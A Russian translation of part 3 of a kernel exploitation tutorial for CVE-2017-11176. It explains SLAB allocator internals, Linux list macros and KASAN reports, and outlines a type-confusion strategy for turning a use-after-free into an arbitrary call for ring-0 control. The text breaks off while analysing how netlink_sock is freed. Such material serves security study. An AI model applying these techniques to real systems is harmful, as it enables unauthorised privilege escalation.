CVE‑2017‑11176: Пошаговая эксплуатация уязвимости ядра в Linux (часть 3)

CVE‑2017‑11176: Пошаговая эксплуатация уязвимости ядра в Linux (часть 3)

Эта статья начнется с рассмотрения подсистемы памяти и SLAB аллокатора.

Автор: Lexfo

Во второй части в качестве замены скриптам для System Tap был реализован концептуальный код, активирующий уязвимость из пространства пользователя.

Эта статья начнется с рассмотрения подсистемы памяти и SLAB аллокатора. Данные темы настолько обширны, что мы настоятельно рекомендуем ознакомиться с дополнительной информацией в других источниках. Ознакомление с этими темами абсолютно обязательно при разработке любого эксплоита как на базе уязвимостей типа use‑after‑free, так и связанных с переполнением кучи.

Однако базовая теория, касающаяся use‑after‑free будет объяснена, а также рассмотрены методы сбора информации, которая потребуется для эксплуатации подобного рода проблем. Затем мы будем применять полученные знания для конкретно нашего случая и, в частности, будем анализировать доступные примитивы. Также будет рассмотрена стратегия переразмещения, которая будет использоваться для «преобразования» use-after-free в примитив произвольного вызова. В итоге, наш эксплоит будет вызывать панику ядра управляемым образом (больше никаких случайных крахов).

Техники, рассматриваемые в этой статье, пригодны для эксплуатации любых ошибок типа use‑after‑free в ядре Линукса (через конфликт типов). Более того, эксплуатация use‑after‑free происходит при помощи произвольного вызова. Поскольку будет использоваться специфический код, эксплоит нельзя считать ни универсальным, ни заточенным на обход защиты kASLR (Рандомизация размещения адресного пространства в ядре).

Ту же самую уязвимость можно эксплуатировать различными способами для получения других примитивов (для произвольного чтения/записи) и обхода kaslr/smap/smep (в четвертой части будет рассмотрен обход smep). Имея на руках концептуальный код, вы сможете продолжить развитие своей креативности на поприще создания эксплоитов.

Стоит отметить, что эксплоиты уровня ядра запускаются в очень хаотичной среде. В предыдущих статьях сей факт нас не очень затрагивал, но теперь будет. Если говорить более конкретно, то речь идет о переразмещении (reallocation). То есть, если возникнет причина, по которой ваш эксплоит «сломается» (поскольку вы проиграли гонку), то с высокой степенью вероятности из-за переразмещения. Надежное переразмещение – это непаханое поле для исследований, а более сложные трюки не будут рассматриваться в этой статье.

Кроме того, поскольку сейчас будет иметь значение компоновка структур данных, которая отличается в отладочной и рабочей версии ядра, мы говорим «до свидания» System Tap, поскольку этот инструмент не будет работать ядре, скомпилированным для рабочих сред. Более того, следует упомянуть о том, что ваша компоновка структур во многом будет отличаться от наших, и код эксплоита, представленного в этой статье, в вашей системе без дополнительных изменений работать не будет.

Приступаем к форсированию (множества) крахов. Здесь и начинается самое веселье J.

Базовые концепции #3

В третьей части в разделе «Базовые концепции» мы рассмотрим подсистему памяти (также называемую «mm»), которая настолько огромна, что существуют целые книги, посвященные этой части ядра. Поскольку в этом разделе мы рассмотрим лишь малую часть, рекомендуется изучить дополнительные источники, указанные ниже. Тем не менее, мы коснемся базовых структур данных ядра, которые используются для управления памятью, чтобы вы были в курсе дела хотя бы примерно:

Как минимум, рекомендуем почитать главу 8 книги «Understanding The Linux Virtual Memory Manager».

В конце этого раздела будет рассмотрен макрос container_of() и использование дважды связанного циклического списка в ядре. Также будет показан пример, чтобы вы поняли суть работы макроса list_for_each_entry_safe(), что является обязательным при разработке эксплоитов.

Управление страницами физической памяти

Одна из наиболее важных задач любой операционной системы – управление памятью, которое должно быть быстрым, безопасным, стабильным и минимизировать фрагментирование. К сожалению, большинство этих задач противоречат друг другу (например, излишняя безопасность часто влияет на производительность). Чтобы повысить эффективность, физическая память разделяется на непрерывные блоки фиксированной длины. Каждый такой блок, также называемый фреймом страницы, имеет (в основном) фиксированный размер 4096 байт, который может быть извлечен при помощи макроса PAGE_SIZE.

Поскольку ядро обрабатывает память, то должно и следить за каждым фреймом физической памяти, в том числе и за информацией, касающейся фреймов. Например, ядро должно знать, является ли фрейм страницы доступным для использования. Подобная информация хранится в структуре данных page, которая также называется дескриптором страницы.

Ядро может запрашивать одну или несколько смежных страниц, используя функцию alloc_pages(), а также может освобождать страницы при помощи функции free_pages(). За обработку этих запросов отвечает аллокатор, который называется зонированным аллокатором фреймов страницы (Zoned Page Frame Allocator). Поскольку этот аллокатор использует алгоритм Buddy system algorithm, то часто называется Buddy аллокатором.

Slab аллокаторы

Степень детализации, которую дает buddy аллокатор не всегда уместна. Например, если надо выделить только 128 байт памяти, ядро может запросить страницу, но тогда 3968 байт памяти будут израсходованы впустую. Этот эффект называется внутренней фрагментацией. Чтобы решить данную проблему, в Линуксе предусмотрены Slab аллокаторы, которые дают большую детализацию. Грубо говоря, рассматривайте Slab аллокатор как эквивалент функций malloc() / free() для ядра.

В ядре Линукса есть три различных Slab аллокатора (но используется только один):

  • SLAB аллокатор: самая первая версия этой линейки аллокаторов, которая предназначена для оптимизации аппаратного кэша (до сих пор используется в Debian).

  • SLUB аллокатор: «новый» стандартный аллокатор, появившийся в 2007 году (используется в Ubuntu/CentOS/Android).

  • SLOB аллокатор: разработан для встроенных систем с небольшим объемом памяти.

Примечание: мы будем придерживаться следующего соглашения об именах: Slab - обобщает все три аллокатора (SLAB, SLUB, SLOB) как класс. SLAB (все буквы в верхнем регистре) – один из трех аллокаторов, а slab – объект, используемый Slab аллокаторами.

Мы не сможем рассмотреть все Slab аллокаторы, а только один SLAB аллокатор, который хорошо задокументирован и к тому же используется в целевой системе. SLUB аллокатор на данный момент более распространен, но плохо задокументирован. Однако мы считаем, что со SLUB аллокатором проще разобраться, поскольку там нет «раскрашивания кэша» (cache coloring), не отслеживается «полный slab», отсутствует управление внутренним/внешним slab и т. д. Чтобы узнать, какой из трех аллокаторов используется в вашей системе, введите следующую команду:

$ grep "CONFIG_SL.B=" /boot/config-$(uname -r)

Часть, связанная с переразмещением, будем изменяться в зависимости от используемого Slab аллокатора. Несмотря на то, что SLAB аллокатор более сложен для понимания, но более прост (по сравнению со SLUB) для эксплуатации ошибки use-after-free. С другой стороны, у SLUB аллокатора есть другое преимущество: slab aliasing (т.е. большинство объектов хранятся в kmemcache «общего назначения»).

Кэш и slab

Поскольку ядро имеет тенденцию повторно размещать объекты одинакового размера, было бы не очень эффективно постоянно запрашивать/освобождать одинаковые страницы в памяти. Чтобы повысить эффективность, Slab аллокатор хранит объект того же размера в кэше (пуле выделенных фреймов памяти). Кэш описывается структурой kmem_cache (также называемой «дескриптором кэша»):

struct kmem_cache {

// ...

unsigned int num; // number of objects per slab

unsigned int gfporder; // logarithm number of contiguous page frames in a slab

const char *name; // name of the cache

int obj_size; // object size in this cache

struct kmem_list3 **nodelists; // holds list of empty/partial/full slabs

struct array_cache *array[NR_CPUS]; // per-cpu cache

};

Объекты сами по себе хранятся в slab’ах, которые представляют собой один или несколько фреймов смежных страниц. Единичный slab может хранить числовые объекты размером obj_size. Например, slab, распределенный по единичной странице (размером 4096 байт), может хранить 4 объекта размером 1024 байта.

Статус единичного slab (например, количество свободных объектов) описывается структурой slab (также называемой «структурой управления slab»):

struct slab {

struct list_head list;

unsigned long colouroff;

void *s_mem; // virtual address of the first object

unsigned int inuse; // number of "used" object in the slab

kmem_bufctl_t free; // the use/free status of each objects

unsigned short nodeid;

};

Структура управления slab может храниться как внутри объекта slab, так и в другом месте памяти. Смысл заключается в том, чтобы уменьшить внешнюю фрагментацию. Место хранения структуры управления slab зависит от размера объекта кэша. Если размер объекта меньше 512 байт, эта структура хранится внутри slab, иначе – в другом участке памяти.

Примечание: поскольку мы эксплуатируем ошибку use-after-free место хранение структуры особого значения не имеет. С другой стороны, если вы эксплуатируете переполнение кучи, тогда место хранения нужно учитывать.

Извлечение виртуального адреса объекта в slab можно сделать через поле s_mem в комбинации со смещениями. Грубо говоря, представьте, что адрес первого объекта – s_mem, второго – s_mem + obj_size, третьего - s_mem + 2* obj_size и так далее. В реальности формула более сложная из-за «окрашивания», которое используется для повышения эффективности аппаратного кэша, однако эта тема выходит за рамки данной статьи.

Обработка slab’ов и взаимодействие с Buddy аллокатором

Когда объект slab создан, Slab аллокатор запрашивает у Buddy аллокатора фреймы страниц. Когда объект slab уничтожается, выделенные страницы возвращаются обратно Buddy аллокатору. В целях повышения эффективности ядро пытается уменьшить количество актов создания/разрушения объектов slab.

Примечание: может возникнуть вопрос, почему поле gfporder структуры kmem_cache представляет собой логарифмическое число фреймов смежных страниц. Причина заключается в том, что Buddy аллокатор работает не с байтовыми размерами, а с «порядком» на базе степени двойки. То есть порядок нуля означает одну страницу, порядок единицы – две смежные страницы, порядок двойки – четыре смежные страницы и так далее.

Для каждого кэша Slab аллокатор хранит три дважды связанных списка объектов slab:

  • Полные slab’ы: все объекты slab используются (то есть выделены).

  • Свободные slab’ы: все объекты slab свободны (то есть каждый slab пустой).

  • Смешанные slab’ы: некоторые объекты используются, некоторые – свободные.

Эти списки хранятся в дескрипторе кэша структуры kmem_cache в поле nodelists. Каждый slab принадлежит одному из этих списков. Объекты slab могут перемещаться между списками во время размещения или освобождения (например, когда размещается последний свободный объект списка со смешанными объектами, этот slab перемещается в список, где хранятся полные объекты).

Чтобы сократить интенсивность взаимодействий с Buddy аллокатором, SLAB аллокатор хранит пул нескольких объектов, которые хранятся в свободном и смешанном списках. При размещении объекта, аллокатор пытается найти свободный объект в этих списках. Если все slab’ы полные, Slab аллокатор должен создать новый объект, сделав запрос к Buddy аллокатору на дополнительные страницы. Эта операция называется cache_grow(). С другой стороны, если Slab имеет «очень много» свободных slab’ов, некоторые объекты разрушаются, и страницы возвращаются обратно Buddy аллокатору.

По-процессорная (per-cpu) структура данных array_cache

В предыдущем разделе было рассмотрено, что во время размещения Slab должен просканировать списки свободных и смешанных slab’ов. Поиск свободного слота при помощи сканирования списков – не очень эффективная операция (например, списки доступа требуют блокировки, нужно искать смещение в slab и так далее).

Чтобы улучшить производительность, Slab хранит массив указателей на свободные объекты. Этот массив представляет собой структуру данных array_cache и хранится в поле array структуры kmem_cache.

struct array_cache {

unsigned int avail; // number of pointers available AND index to the first free slot

unsigned int limit; // maximum number of pointers

unsigned int batchcount;

unsigned int touched;

spinlock_t lock;

void *entry[]; // the actual pointers array

};

Сам по себе массив array_cache используется как структура данных, работающая по принципу LIFO (Last‑In First‑Out; Последним пришел, первым вышел), то есть как стек. Для эксплуататора уязвимости эта тема очень на руку. Именно из-за принципа LIFOэксплуатировать ошибки use‑after‑free проще в SLAB, чем в SLUB.

В случае отработки кода наибыстрейшим образом выделение памяти будет выглядеть так:

static inline void *____cache_alloc(struct kmem_cache *cachep, gfp_t flags) // yes... four "_"

{

void *objp;

struct array_cache *ac;

ac = cpu_cache_get(cachep);

if (likely(ac->avail)) {

STATS_INC_ALLOCHIT(cachep);

ac->touched = 1;

objp = ac->entry[--ac->avail]; // <-----

}

// ... cut ...

return objp;

}

Наибыстрейший сценарий отработки кода, связанного с освобождением объекта, выглядит так:

static inline void __cache_free(struct kmem_cache *cachep, void *objp)

{

struct array_cache *ac = cpu_cache_get(cachep);

// ... cut ...

if (likely(ac->avail < ac->limit)) {

STATS_INC_FREEHIT(cachep);

ac->entry[ac->avail++] = objp; // <-----

return;

}

}

Таким образом, при наилучшем стечении обстоятельств, операции выделения/освобождения будут иметь сложность O(1).

Предупреждение: если наибыстрейший сценарий завершится неудачно, выделение переходит к более медленному алгоритму (т.е. к сканированию списков свободных/смешанных объектов slab или еще более медленному (cache grow)).

Обратите внимание, что для каждого процессора существует только один массив array_cache. В текущем работающем процессоре array_cache можно извлечь при помощи функции cpu_cache_get(). Эта схема позволяет (как и в случае со всеми по-процессорными переменными) сократить блокировки и увеличить производительность.

Предупреждение: Каждый указатель объекта в массиве array_cache может принадлежать различным slab’ам.

Кэши общего назначения и назначенные кэши

Чтобы уменьшить внутреннюю фрагментацию, ядро создает несколько кэшей с объектами размером равным степени двойки (32, 64, 128, ...). В этом случае внутренняя фрагментация будет всегда меньше 50%. На самом деле, когда ядро пытается выделить память определенного размера, то ищет ближайший ограниченный сверху кэш, куда может уместиться размещаемый объект. Например, для выделения 100 байт подойдет кэш размером 128 байт.

В SLAB кэши общего назначения идут с префиксом «size-» (например, «size‑32», «size‑64»). В SLUB кэши общего назначения идут с префиксом «kmalloc-» (например, «kmalloc‑32», ...). Поскольку нам кажется, что соглашения об именах нагляднее в SLUB, мы будем использовать префиксы «kmalloc», даже если в целевой системе используется SLAB.

Чтобы выделить/освободить память в кэше общего назначения, ядро использует функции kmalloc() и kfree().

Поскольку некоторые объекты будут размещаться/освобождаться много раз, ядро создает специальные «назначенные» кэши. Например, структура file как объект используется во многих местах, у которого есть специальный назначенный кэш filp. Создание назначенного кэша для этих объектов гарантирует, что внутренняя фрагментация тех кэшей будет около нуля.

Чтобы выделить/освободить память в назначенном кэше, ядро использует функции kmem_cache_alloc() и kmem_cache_free().

Функции kmalloc() и kmem_cache_alloc() являются обертками для функции __cache_alloc(), а kfree() и kmem_cache_free() – для __cache_free().

Примечание: Полный список кэшей и другую полезную информацию можно узнать в /proc/slabinfo.

Макрос container_of()

Container_of() используется ядром повсеместно, и рано или поздно все равно придется разобраться, как работает этот макрос.

#define container_of(ptr, type, member) ({ \

const typeof( ((type *)0)->member ) *__mptr = (ptr); \

(type *)( (char *)__mptr - offsetof(type,member) );})

Макрос container_of() предназначен для извлечения адреса структуры через одного из членов этой структуры. Этот макрос использует два других макроса:

· typeof() - определяет статический (compile‑time) тип.

· offsetof() - находит смещение (в байтах) поля в структуре.

Таким образом, container_of() получает адрес текущего поля структуры и вычитает смещение этого поля из указателя на это поле. Рассмотрим конкретный пример:

struct foo {

unsigned long a;

unsigned long b; // offset=8

}

void* get_foo_from_b(unsigned long *ptr)

{

// "ptr" points to the "b" field of a "struct foo"

return container_of(ptr, struct foo, b);

}

void bar() {

struct foo f;

void *ptr;

printf("f=%p\n", &f); // <----- print 0x0000aa00

printf("&f->b=%p\n", &f->b); // <----- print 0x0000aa08

ptr = get_foo_from_b(&f->b);

printf("ptr=%p\n", ptr); // <----- print 0x0000aa00, the address of "f"

}

Циклические дважды связанные списки

Ядро в Линуксе интенсивно использует циклические дважды связанные списки. Важно понимать, как устроены эти списки в целом, которые, к тому же, потребуется нам, чтобы добраться до примитива произвольного вызова. Вместо ознакомления с реализацией сразу же смастерим простой пример, чтобы лучше разобраться с этой темом. По завершению этого раздела вы должны понимать, как работает макрос list_for_each_entry_safe().

Примечание: чтобы не усложнять жизнь, далее мы будем использовать термин «список» вместо «дважды связанный циклический список».

Для обработки списка Линукс использует следующую структуру:

struct list_head {

struct list_head *next, *prev;

};

Эта структура двойного назначения и может использоваться в одном из следующих случаев:

1. Для описания списка (заголовка списка).

2. Для описания элемента в списке.

Список можно инициализировать при помощи функции INIT_LIST_HEAD, которая делает так, что поля next и prev указывают на сам список.

static inline void INIT_LIST_HEAD(struct list_head *list)

{

list->next = list;

list->prev = list;

}

Теперь определим фиктивную структуру resource_owner:

struct resource_owner

{

char name[16];

struct list_head consumer_list;

};

void init_resource_owner(struct resource_owner *ro)

{

strncpy(ro->name, "MYRESOURCE", 16);

INIT_LIST_HEAD(&ro->consumer_list);

}

Чтобы использовать этот список, каждый элемент (например, consumer) списка должен быть полем, описываемым структурой list_head. Например:

struct resource_consumer

{

int id;

struct list_head list_elt; // <----- this is NOT a pointer

};

Элементы consumer (покупатель) добавляются/удаляются из списка при помощи функций list_add() и list_del() соответственно. Типичный код выглядит так:

int add_consumer(struct resource_owner *ro, int id)

{

struct resource_consumer *rc;

if ((rc = kmalloc(sizeof(*rc), GFP_KERNEL)) == NULL)

return -ENOMEM;

rc->id = id;

list_add(&rc->list_elt, &ro->consumer_list);

return 0;

}

Теперь нам нужно освободить список с элементами consumer, однако у нас есть только указатель на начало списка (такая неудачная архитектура используется намеренно). Мы достаем структуру при помощи макроса container_of(), удаляем элемент из списка и освобождаем структуру.

void release_consumer_by_entry(struct list_head *consumer_entry)

{

struct resource_consumer *rc;

// "consumer_entry" points to the "list_elt" field of a "struct resource_consumer"

rc = container_of(consumer_entry, struct resource_consumer, list_elt);

list_del(&rc->list_elt);

kfree(rc);

}

Теперь нам нужно написать функцию для получения содержимого структуры resource_consumer, используя id. То есть нужно будет пройтись по всему списку при помощи макроса list_for_each():

#define list_for_each(pos, head) \

for (pos = (head)->next; pos != (head); pos = pos->next)

#define list_entry(ptr, type, member) \

container_of(ptr, type, member)

Как видно из кода выше, нам понадобился макрос container_of(), поскольку list_for_each() дает нам только указатель структуры list_head (т.е. итератор). Для выполнения этой операции часто используется макрос list_entry(), который делает то же самое, но имеет более наглядное имя:

struct resource_consumer* find_consumer_by_id(struct resource_owner *ro, int id)

{

struct resource_consumer *rc = NULL;

struct list_head *pos = NULL;

list_for_each(pos, &ro->consumer_list) {

rc = list_entry(pos, struct resource_consumer, list_elt);

if (rc->id == id)

return rc;

}

return NULL; // not found

}

Объявление структуры list_head и использование макросов list_entry()/container_of() – немного громоздко. Чтобы упростить задачу, можно воспользоваться макросом list_for_each_entry(), который использует макросы list_first_entry() и list_next_entry().

#define list_first_entry(ptr, type, member) \

list_entry((ptr)->next, type, member)

#define list_next_entry(pos, member) \

list_entry((pos)->member.next, typeof(*(pos)), member)

#define list_for_each_entry(pos, head, member) \

for (pos = list_first_entry(head, typeof(*pos), member); \

&pos->member != (head); \

pos = list_next_entry(pos, member))

Предыдущий код можно переписать в более компактном виде (без объявления структуры list_head):

struct resource_consumer* find_consumer_by_id(struct resource_owner *ro, int id)

{

struct resource_consumer *rc = NULL;

list_for_each_entry(rc, &ro->consumer_list, list_elt) {

if (rc->id == id)

return rc;

}

return NULL; // not found

}

Теперь нам нужна функция, которая очищает список. Здесь возникает две проблемы:

  • Функция release_consumer_by_entry() реализована не очень удачно и принимает в качестве аргумента указатель структуры list_head.

  • При использовании макроса list_for_each() предполагается, что список изменяться не будет.

Таким образом, нам нельзя освобождать элементы во время прохождения по списку, поскольку может возникнуть ошибка use‑after‑free. Чтобы решить эту задачу была создана функция list_for_each_safe(), которая заблаговременно берет следующий элемент:

#define list_for_each_safe(pos, n, head) \

for (pos = (head)->next, n = pos->next; pos != (head); \

pos = n, n = pos->next)

При использовании этой функции необходимо объявить две структуры list_head:

void release_all_consumers(struct resource_owner *ro)

{

struct list_head *pos, *next;

list_for_each_safe(pos, next, &ro->consumer_list) {

release_consumer_by_entry(pos);

}

}

Поскольку мы пришли к выводу, что release_consumer_by_entry() реализована не очень удачно, переписываем эту функцию, когда в качестве аргумента передается указатель структуры resource_consumer (без использования макроса container_of()):

void release_consumer(struct resource_consumer *rc)

{

if (rc)

{

list_del(&rc->list_elt);

kfree(rc);

}

}

Поскольку теперь структура list_head в аргументе не передается, функцию release_all_consumers() можно переписать, используя макрос list_for_each_entry_safe():

#define list_for_each_entry_safe(pos, n, head, member) \

for (pos = list_first_entry(head, typeof(*pos), member), \

n = list_next_entry(pos, member); \

&pos->member != (head); \

pos = n, n = list_next_entry(n, member))

void release_all_consumers(struct resource_owner *ro)

{

struct resource_consumer *rc, *next;

list_for_each_entry_safe(rc, next, &ro->consumer_list, list_elt) {

release_consumer(rc);

}

}

Прекрасно! В нашем коде больше не используются структуры list_head.

Надеюсь, теперь вы поняли, как работает макрос list_for_each_entry_safe(). Если нет, перечитайте этот раздел заново. Функция list_for_each_entry_safe() будет использоваться для того, чтобы добраться до примитива произвольного вызова в эксплоите. Этот же макрос мы увидим в дизассемблированном коде (из-за смещений), поэтому лучше понять логику работы list_for_each_entry_safe() прямо сейчас.

Суть уязвимостей типа use‑after‑free

В этом разделе будет рассмотрена базовая теория, касающаяся use‑after‑free, а также условия, необходимые для использования ошибок подобного типа, и наиболее распространенные стратегии эксплуатации.

Паттерн

Сложно придумать более правильное имя для подобного рода уязвимостей, поскольку в этом названии описывается сама суть проблемы. Простейший паттерн ошибки use‑after‑free:

int *ptr = (int*) malloc(sizeof(int));

*ptr = 54;

free(ptr);

*ptr = 42; // <----- use-after-free

Причина, почему ситуация, показанная выше, называется уязвимостью - никто не знает, что находится у памяти (на которую указывает ptr) после вызова free(ptr). Этот указатель называется подвисшим. Операции чтения и/или записи приводят к непредсказуемым последствиям. В лучшем случае, ничего не произойдет, в худшем – крах приложения (или ядра).

Сбор информации

Эксплуатация дыр use‑after‑free в ядра часто осуществляется по одной и той же схеме. Однако прежде нужно получить ответы на следующие вопросы:

  1. Какой используется аллокатор? Как работает этот аллокатор?

  2. О каком объекте идет речь?

  3. Какому кэшу принадлежит этот объект? Каков размер объекта? Какой тип кэша (общего назначения или назначенный)?

  4. Где происходит выделение/освобождение памяти?

  5. Где используется объект после освобождения? Как происходит чтение/запись?

Чтобы ответить на эти вопросы, в Google разработали прекрасный инструмент: KASAN (Kernel Address SANitizer). Типичный отчет выглядит так:

==================================================================

BUG: KASAN: use-after-free in debug_spin_unlock // <--- the "where"

kernel/locking/spinlock_debug.c:97 [inline]

BUG: KASAN: use-after-free in do_raw_spin_unlock+0x2ea/0x320

kernel/locking/spinlock_debug.c:134

Read of size 4 at addr ffff88014158a564 by task kworker/1:1/5712 // <--- the "how"

CPU: 1 PID: 5712 Comm: kworker/1:1 Not tainted 4.11.0-rc3-next-20170324+ #1

Hardware name: Google Google Compute Engine/Google Compute Engine,

BIOS Google 01/01/2011

Workqueue: events_power_efficient process_srcu

Call Trace: // <--- call trace that reach it

__dump_stack lib/dump_stack.c:16 [inline]

dump_stack+0x2fb/0x40f lib/dump_stack.c:52

print_address_description+0x7f/0x260 mm/kasan/report.c:250

kasan_report_error mm/kasan/report.c:349 [inline]

kasan_report.part.3+0x21f/0x310 mm/kasan/report.c:372

kasan_report mm/kasan/report.c:392 [inline]

__asan_report_load4_noabort+0x29/0x30 mm/kasan/report.c:392

debug_spin_unlock kernel/locking/spinlock_debug.c:97 [inline]

do_raw_spin_unlock+0x2ea/0x320 kernel/locking/spinlock_debug.c:134

__raw_spin_unlock_irq include/linux/spinlock_api_smp.h:167 [inline]

_raw_spin_unlock_irq+0x22/0x70 kernel/locking/spinlock.c:199

spin_unlock_irq include/linux/spinlock.h:349 [inline]

srcu_reschedule+0x1a1/0x260 kernel/rcu/srcu.c:582

process_srcu+0x63c/0x11c0 kernel/rcu/srcu.c:600

process_one_work+0xac0/0x1b00 kernel/workqueue.c:2097

worker_thread+0x1b4/0x1300 kernel/workqueue.c:2231

kthread+0x36c/0x440 kernel/kthread.c:231

ret_from_fork+0x31/0x40 arch/x86/entry/entry_64.S:430

Allocated by task 20961: // <--- where is it allocated

save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:59

save_stack+0x43/0xd0 mm/kasan/kasan.c:515

set_track mm/kasan/kasan.c:527 [inline]

kasan_kmalloc+0xaa/0xd0 mm/kasan/kasan.c:619

kmem_cache_alloc_trace+0x10b/0x670 mm/slab.c:3635

kmalloc include/linux/slab.h:492 [inline]

kzalloc include/linux/slab.h:665 [inline]

kvm_arch_alloc_vm include/linux/kvm_host.h:773 [inline]

kvm_create_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:610 [inline]

kvm_dev_ioctl_create_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:3161 [inline]

kvm_dev_ioctl+0x1bf/0x1460 arch/x86/kvm/../../../virt/kvm/kvm_main.c:3205

vfs_ioctl fs/ioctl.c:45 [inline]

do_vfs_ioctl+0x1bf/0x1780 fs/ioctl.c:685

SYSC_ioctl fs/ioctl.c:700 [inline]

SyS_ioctl+0x8f/0xc0 fs/ioctl.c:691

entry_SYSCALL_64_fastpath+0x1f/0xbe

Freed by task 20960: // <--- where it has been freed

save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:59

save_stack+0x43/0xd0 mm/kasan/kasan.c:515

set_track mm/kasan/kasan.c:527 [inline]

kasan_slab_free+0x6e/0xc0 mm/kasan/kasan.c:592

__cache_free mm/slab.c:3511 [inline]

kfree+0xd3/0x250 mm/slab.c:3828

kvm_arch_free_vm include/linux/kvm_host.h:778 [inline]

kvm_destroy_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:732 [inline]

kvm_put_kvm+0x709/0x9a0 arch/x86/kvm/../../../virt/kvm/kvm_main.c:747

kvm_vm_release+0x42/0x50 arch/x86/kvm/../../../virt/kvm/kvm_main.c:758

__fput+0x332/0x800 fs/file_table.c:209

____fput+0x15/0x20 fs/file_table.c:245

task_work_run+0x197/0x260 kernel/task_work.c:116

exit_task_work include/linux/task_work.h:21 [inline]

do_exit+0x1a53/0x27c0 kernel/exit.c:878

do_group_exit+0x149/0x420 kernel/exit.c:982

get_signal+0x7d8/0x1820 kernel/signal.c:2318

do_signal+0xd2/0x2190 arch/x86/kernel/signal.c:808

exit_to_usermode_loop+0x21c/0x2d0 arch/x86/entry/common.c:157

prepare_exit_to_usermode arch/x86/entry/common.c:194 [inline]

syscall_return_slowpath+0x4d3/0x570 arch/x86/entry/common.c:263

entry_SYSCALL_64_fastpath+0xbc/0xbe

The buggy address belongs to the object at ffff880141581640

which belongs to the cache kmalloc-65536 of size 65536 // <---- the object's cache

The buggy address is located 36644 bytes inside of

65536-byte region [ffff880141581640, ffff880141591640)

The buggy address belongs to the page: // <---- even more info

page:ffffea000464b400 count:1 mapcount:0 mapping:ffff880141581640

index:0x0 compound_mapcount: 0

flags: 0x200000000008100(slab|head)

raw: 0200000000008100 ffff880141581640 0000000000000000 0000000100000001

raw: ffffea00064b1f20 ffffea000640fa20 ffff8801db800d00

page dumped because: kasan: bad access detected

Memory state around the buggy address:

ffff88014158a400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb

ffff88014158a480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb

>ffff88014158a500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb

^

ffff88014158a580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb

ffff88014158a600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb

==================================================================

Довольно симпатично, не правда ли?

Примечание: вышеуказанный отчет об ошибках был получен при помощи еще одной прекрасной утилиты syzkaller.

К сожалению, в вашей тестовой среде KASAN может не запуститься, потому что, насколько мне известно, этот инструмент заточен под ядра версии 4.x и поддерживает не все архитектуры. В этом случае вам придется делать всю работу вручную.

Кроме того, KASAN показывает только одно место, где возникает use‑after‑free. В реальности висячих указателей может быть намного больше (подробнее эту тему рассмотрим позже), и чтобы найти эти указатели, нужно дополнительно анализировать код.

Эксплуатация ошибок use‑after‑free через несоответствие типов

Существует несколько способов эксплуатации уязвимостей use‑after‑free. Например, можно поиграться с метаданными аллокатора. Однако использование этого метода на уровне ядра может оказаться немного затруднительным. Задача осложняется еще и тем, что придется восстанавливать ядро после окончания отработки эксплоита. Восстановление ядра будет рассмотрено в четвертой части. Этот шаг нельзя обойти, поскольку в противном случае ядро упадет после завершения эксплоита, что мы уже наблюдали в предыдущей части.

Наиболее распространенный способ эксплуатации UAF (use‑after‑free) – через несоответствие типов (type confusion), которое возникает, когда ядро неправильно интерпретирует тип данных. Если говорить более конкретно, то при использовании указателя ядро «думает», что идет ссылка на один тип данных, а на самом деле указатель ссылается на другой тип данных. Поскольку ядро написано на С, проверка типов происходит во время компиляции. Однако процессор не особо заботится о типах, а только разыменовывает адреса с фиксированными смещениями.

В целом, стратегия эксплуатации UAF через несоответствие типов выглядит следующим образом:

  1. Перевод ядра в нужное состояние (например, подготовка сокета к блокировке).

  2. Активация уязвимости, которая освобождает целевой объект. В то же время висячие указатели должны оставаться нетронутыми.

  3. Немедленное повторное размещение другого объекта, у которого мы можем контролировать данные.

  4. Активация примитива в UAF через висячие указатели.

  5. Перехват управления нулевого кольца.

  6. Восстановление ядра и удаление следов.

  7. Профит!

Если вы смастерили эксплоит правильно, единственное, где у вас может возникнуть загвоздка – шаг 3. Далее увидите, почему.

Примечание: Эксплуатация уязвимостей use‑after‑free через несоответствие типов предполагает, что целевой объект принадлежит кэшу общего назначения. В противном случае нужно использовать более продвинутые техники, которые мы не будет рассматривать в этой серии.

Анализ UAF (кэш, размещение в памяти, освобождение)

В этом разделе будут даны ответы на вопросы, затронутые выше, касающиеся сбора информации.

Какой используется аллокатор?

В нашей целевой системе используется SLAB аллокатор. Как было упомянуто в разделе «Базовые концепции #3», узнать текущий рабочий аллокатор можно в файле, содержащим конфигурацию ядра. Альтернативный способ: посмотреть имена кэшей общего назначения в файле /proc/slabinfo. В именах кэшей есть префиксы «size-» или «kmalloc-»?

Мы также рассмотрели структуры данных, с которыми работает этот аллокатор (особенно array_cache).

Примечание: Если вы плохо знакомы с механикой работы вашего аллокатора (особенно ветвями кода функций kmalloc()/kfree()), настало время ознакомиться.

О каком объекте идет речь?

Если после ознакомления с первой и второй частью еще не очевидно, то напомним, что уязвимость use‑after‑free будет эксплуатировать в отношении структуры netlink_sock, которая объявлена следующим образом:

// [include/net/netlink_sock.h]

struct netlink_sock {

/* struct sock has to be the first member of netlink_sock */

struct sock sk;

u32 pid;

u32 dst_pid;

u32 dst_group;

u32 flags;

u32 subscriptions;

u32 ngroups;

unsigned long *groups;

unsigned long state;

wait_queue_head_t wait;

struct netlink_callback *cb;

struct mutex *cb_mutex;

struct mutex cb_def_mutex;

void (*netlink_rcv)(struct sk_buff *skb);

struct module *module;

};

В нашем случае объект для эксплуатации уязвимости очевиден, однако иногда подбор подходящей кандидатуры может отнять много времени. Особенно если объект владеет другими объектами (т.е. обрабатывает жизненный цикл этих объектов). UAF может быть в одном из этих дочерних объектов.

Где освобождается объект?

В первой части было показано, что в начале вызова mq_notify() счетчик ссылок структуры netlink_sock равен единице. Затем счетчик ссылок увеличивается на единицу в функции netlink_getsockbyfilp, уменьшается на единицу в функции netlink_attachskb(), а затем еще раз уменьшается на единицу в функции. Таким образом, получается следующая последовательность вызовов:

- mq_notify

- netlink_detachskb

- sock_put // <----- atomic_dec_and_test(&sk->sk_refcnt)

Поскольку счетчик вызовов становится равным нулю, то освобождается во время вызова функции sk_free():

void sk_free(struct sock *sk)

{

/*

* We subtract one from sk_wmem_alloc and can know if

